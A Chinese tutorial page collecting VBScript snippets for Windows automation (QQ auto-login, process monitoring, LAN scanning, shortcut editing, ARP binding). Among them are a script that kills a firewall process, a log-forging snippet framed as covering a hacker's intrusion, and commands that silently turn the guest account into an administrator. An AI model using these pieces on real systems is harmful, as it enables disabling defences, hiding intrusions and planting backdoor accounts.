用VBS来代替BAT或CMD文件进行命令第2/2页
更新时间:2008年06月04日 08:35:33 作者:
忽然想到要用VBS来代替BAT或CMD文件进行命令集成,于是开始下苦工学习了一番!在网上找了好久终于找到东西。
//利用VBS脚本使用两个VBS脚本来实现让QQ永远在线
1.QQ自动登录脚本
set fso = Wscript.createObject("Scripting.FileSystemObject")
Set f = fso.createTextFile("QQ自动登录.bat",true)
f.WriteLine "@echo off" & vbcrlf
for each ps in getobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ \'列出系统中所有正在运行的程序
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then \'检测是否QQ或TM
QQCMD=ps.commandline \'提取QQ程序的命行
tmp=Replace(QQCMD,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
if not len(UIN1)=0 then
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) \'取QQ号码.
QQ=QQ+1
QQNUM=QQNUM & "QQ号码" & QQ & ":" & vbtab & QQUIN & vbcrlf
f.WriteLine "ECHO QQ号码:" & QQUIN
f.WriteLine "ECHO 命令行:" & QQCMD
f.WriteLine QQCMD & vbcrlf
end if
end if
next
if not len(QQ)=0 then
MSGBOX "已经成功提取以下QQ号码的自动登录命令行" & vbcrlf & vbcrlf & QQNUM & vbcrlf & "具体请查看当前目录下的文件",0,"QQ自动
登录命令提取脚本 BY chenall QQ:XXXXXX"
else
msgbox "提取QQ自动登录命令失败,请查看QQ或TM是否正在运行.",0,"QQ自动登录命令提取脚本 BY chenall QQ:XXXXXX"
f.close
set f = fso.getfile("QQ自动登录.bat")
f.delete
end if
将这些代码存储为"*.vbs"文件。然后将所有需要自动登录的QQ号码全部登录,再在一个QQ上点击"菜单"→"一键切换到TM"。此后运行该VBS脚本,会发现在当前目录下生成了一个"QQ自动登陆.bat"的文件,运行该文件即可自动登录所有QQ号码。
小提示:代码中的"XXXXXX"代表你的QQ号。
2.QQ防止关闭脚本
dim QQUIN
for each ps in getobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ \'列出系统中所有正在运行的程序
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then \'检测是否QQ或TM
AppPath=ps.commandline \'提取QQ程序的命行
tmp=Replace(AppPath,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) \'取QQ号码.
end if
next
if len(QQUIN)=0 then
msgbox "系统中没有运行QQ或TM程序,请重新启动QQ或TM,登陆后再使用一键换切换一下QQ或TM程序,再运行本脚本"
else
do \'循环检测
myqqin=chkuin(QQUIN) \'检测上面提取出来的QQ号码是否有在本机打开
if not myqqin then \'如果没有运行则,重新运行QQ程序并登录
runapp(AppPath) \'
wscript.sleep 10000 \'等待10秒
else
wscript.sleep 5000 \'等待5秒
end if
loop \'返回继续检测
end if
function RunApp(AppPath)
dim obj
set obj = createobject("WScript.Shell")
obj.exec(AppPath)
end function
function chkuin(QQUIN)
for each ps in getobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then
AppPatht=ps.commandline
\'by chenall qq 368178720
tmp=Replace(AppPatht,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
QQUINTMP=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1)
if QQUINTMP=QQUIN then chkuin=true end if
end if
next
end function
将以上代码存储为"*.vbs"文件。而后登录QQ,一键切换到TM,再运行VBS脚本。此后,即使关闭了TM/QQ,它也会自动启动并登录至网络。经笔者在Windows XP SP2系统上测试,完全有效。
//kill进程 vbs脚本
写一个VBS脚本:
在SHELL里输入:
copy con kill.vbs (菜鸟注意:执行完这行之后就没有命令提示符了)
CODEstrComputer = "."
Set objWMIServive = GetObject("winmagmts:" _
& "{impersonationLevel=impcrsonatc}!\\" &strComputer & "\root\cimv2"
Set colProcesslist = objWMIService.ExecQuery _
("select * from Win32 Process Where Name = 'PFWMain.exe'"
For Each objPrecess in colProcessList
objProcess.Terminate()
Next
'PFWMain'是天网的防火墙,你可以自行更改
输入完之后同时按下"CTRL"+"z",命令提示符就又出来了.
然后就是执行他了:
csript kill.vbs
//显示本机IP地址
Dim WS
Set WS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox "Local IP=" & IPAddress
//利用脚本伪造日志
删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码:
set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success" '创建一个成功执行日志
将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为 WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。
//执行外部程序
用记事本编辑如下内容:
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE)
保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。
set ws=wscript.createobject("wscript.shell")
ws.run "bat.bat /start",0
将上面代码写在记事本里保存扩展名为**.vbs ,其中批处理将不再显示窗口并在运行后自动结束脚本.
//延时启动运行某程序
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(60000)
Wsh.Run "D:\bat.bat",,True
Set Wsh=NoThing
WScript.quit
扫描非法上机的脚本:
Option Explicit
'On Error Resume Next
Dim intStartingAddress,intEndingAddress,strSubnet,strComputer,ProName
Dim objShell,strCommand,objExecObject,strText
intStartingAddress = 1 '设置起始IP
intEndingAddress = 100 '设置结束IP
strSubnet = "192.168.0." '设置IP段前缀
ProName = "SMENU.exe" '你要检查的进程名,注意大小写
Dim Wsh,fso,logfile
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set logfile = fso.OpenTextFile("扫描记录.txt",2,True)
logfile.Writeline time&" 开始扫描"
logfile.WriteBlankLines(1)
Dim i
For i = intStartingAddress to intEndingAddress
strComputer = strSubnet & i
Set objShell = CreateObject("WScript.Shell")
strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & ""
Set objExecObject = objShell.Exec(strCommand)
Do While Not objExecObject.StdOut.AtEndOfStream
strText = objExecObject.StdOut.ReadAll()
If Instr(strText, "Reply") > 0 Then
If Not CheckPro(strComputer,ProName) Then
Doit(strComputer)
End If
End If
Loop
Next
logfile.WriteBlankLines(1)
logfile.Writeline time&" 扫描结束"
logfile.close
Msgbox "扫描结束",64,"扫描结束"
WScript.quit
Function CheckPro(strComputer,ProName)
Dim objWMIService,colProcesses,objProcess
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process")
CheckPro = False
For Each objProcess in colProcesses
If objProcess.Name = ProName Then
CheckPro = True
Exit For
End If
Next
End Function
Sub Doit(strComputer)
logfile.Writeline "注意 "&strComputer&" 状态异常 "&time
Wsh.popup "注意 "&strComputer&" 状态异常",5
End Sub
//修改快捷方式路径的脚本:(放到装快捷方式的文件夹里执行)
Option Explicit
Dim oldpath,newpath
oldpath = "x:\game" '设置原路径中将被替换的内容
newpath = "g:\game\langame" '设置新路径中要使用的内容
Dim Wsh,fso
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Dim ji_1,ji_2,Folder
ji_1 = 0
ji_2 = 0
Folder = Wsh.CurrentDirectory
if Ask("将要修改"&chr(34)& Folder &chr(34)&"里的所有快捷方,是否继续") then
Dim f,fc,f1,ext
Set f = fso.GetFolder(Folder)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
ji_1 = ji_1 + 1
call Doit(f1)
end if
Next
end if
Set WSH = Nothing
msgbox "找到 "&ji_1&" 个快捷方式"&vbCrLf&"修改 "&ji_2&" 个快捷方式",64,"执行完毕"
WScript.quit
Sub Doit(strlnk)
Dim oShlnk
Set oShlnk = Wsh.CreateShortcut(strlnk)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.TargetPath = Replace(oShLnk.TargetPath,oldpath,newpath)
oShLnk.Save
ji_2 = ji_2 + 1
End If
Set oShLnk=NoThing
End Sub
Function Ask(strAction)
Dim intButton
intButton = MsgBox(strAction,vbQuestion + vbYesNo,"询问")
Ask = intButton = vbYes
End Function
//根据机器名列表执行代码的脚本:
'注意,"保存机器名的文件.txt" 为一行一个机器名
dim fso,cnamefile,cname
Set fso = CreateObject("Scripting.FileSystemObject")
Set cnamefile = fso.OpenTextFile("保存机器名的文件.txt",1)
Do While cnamefile.AtEndOfStream <> True
cname = cnamefile.ReadLine
Doit(cname)
Loop
cnamefile.close
Sub Doit(Name)
Msgbox Name
'''''''''
'''''''''
'你要执行的代码
'''''''''
'''''''''
End Sub
//运行注册表,拷贝文件,运行指定程序VBS
'On Error Resume Next
Dim oShell,fso
Set oShell = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
oShell.Run "regedit /s 01.reg"
fso.copyfile "D:\棋牌游戏\边锋\!边锋图标\copy\*.*","C:\WINNT\system32\"
oShell.Run "D:\棋牌游戏\边锋\asdegame.exe"
set oshell = nothing
set fso = nothing
WScript.quit
//利用VBS将guest提升为adminstrator。
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 5201314",0
wsh.run "net localgroup administrators guest /add",0
其中5201314为guest的密码
//绑定IP和MAC的批处理兄弟 vbs
wscript.sleep 15000
gw="192.168.8.8"
mac="00-e0-4c-41-8a-65"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "arp -s "+gw+" "+mac
以上脚本 复制-粘贴-另存 mac.vbs 格式
以下说明
做了一个小改动.15秒时延 wscript.sleep 15000
wscript.sleep 15000
gw="192.168.8.8" 设为你工作站的网关IP地址。
mac="00-e0-4c-41-8a-65"mac设为你网关服务器的mac地址。
'(网关服务器mac地址.可以在正常情况下工作站执行用 arp -a或是由代理服务器上查看到
一般来说,一个网吧内的网关mac地址是相同的。)
'书写格式请你参照脚本里面的写法。
//批处理编的非法进程监控器(原创)
注解:
@ECHO DIM OBJSHELL >NOWINDOWS.VBS
@ECHO SET OBJSHELL=WSCRIPT.CREATEObject("WSCRIPT.SHELL") >>NOWINDOWS.VBS
@ECHO IRETURN=OBJSHELL.RUN("CMD.EXE /C TASK.BAT", 0, TRUE) >>NOWINDOWS.VBS
@ECHO WSCRIPT.SLEEP(2000) >TIME.VBS
上面这些都不用改了
主要就是下面这些了
大家看到PP VAGAA这些名称应该不会眼生吧,对!他就是我们要禁的P2P软件的名称,如果要添加的话,可以在
@ECHO GOTO TASK >>TASK.BAT这段命令的前面再加上一段,例要禁QQ ,@ECHO TSKILL QQ >>TASK.BAT,千万不要加后缀,加上就不能使用了。
@ECHO :TASK >TASK.BAT
@ECHO TIME.VBS >>TASK.BAT
@ECHO TSKILL PP >>TASK.BAT
@ECHO TSKILL VAGAA >>TASK.BAT
@ECHO TSKILL POCO >>TASK.BAT
@ECHO TSKILL KUGOO >>TASK.BAT
@ECHO TSKILL FLASHGET >>TASK.BAT
@ECHO GOTO TASK >>TASK.BAT
START WSCRIPT.EXE NOWINDOWS.VBS
相关文章
VBS教程:VBscript属性-HelpContext 属性
VBS教程:VBscript属性-HelpContext 属性...2006-11-11VBS基础篇 - vbscript class类的定义与使用
vbs Class就是声明一个类的名称,以及组成该类的变量、属性和方法的定义,需要的朋友可以参考下2018-05-05WScript.Shell对象SpecialFolders属性未公开文档分享
WshShell对象的SpecialFolders属性返WshSpecialFolders 对象,该对象是一个特殊文件夹集合,其中包含整套Windows特殊文件夹2013-01-01
最新评论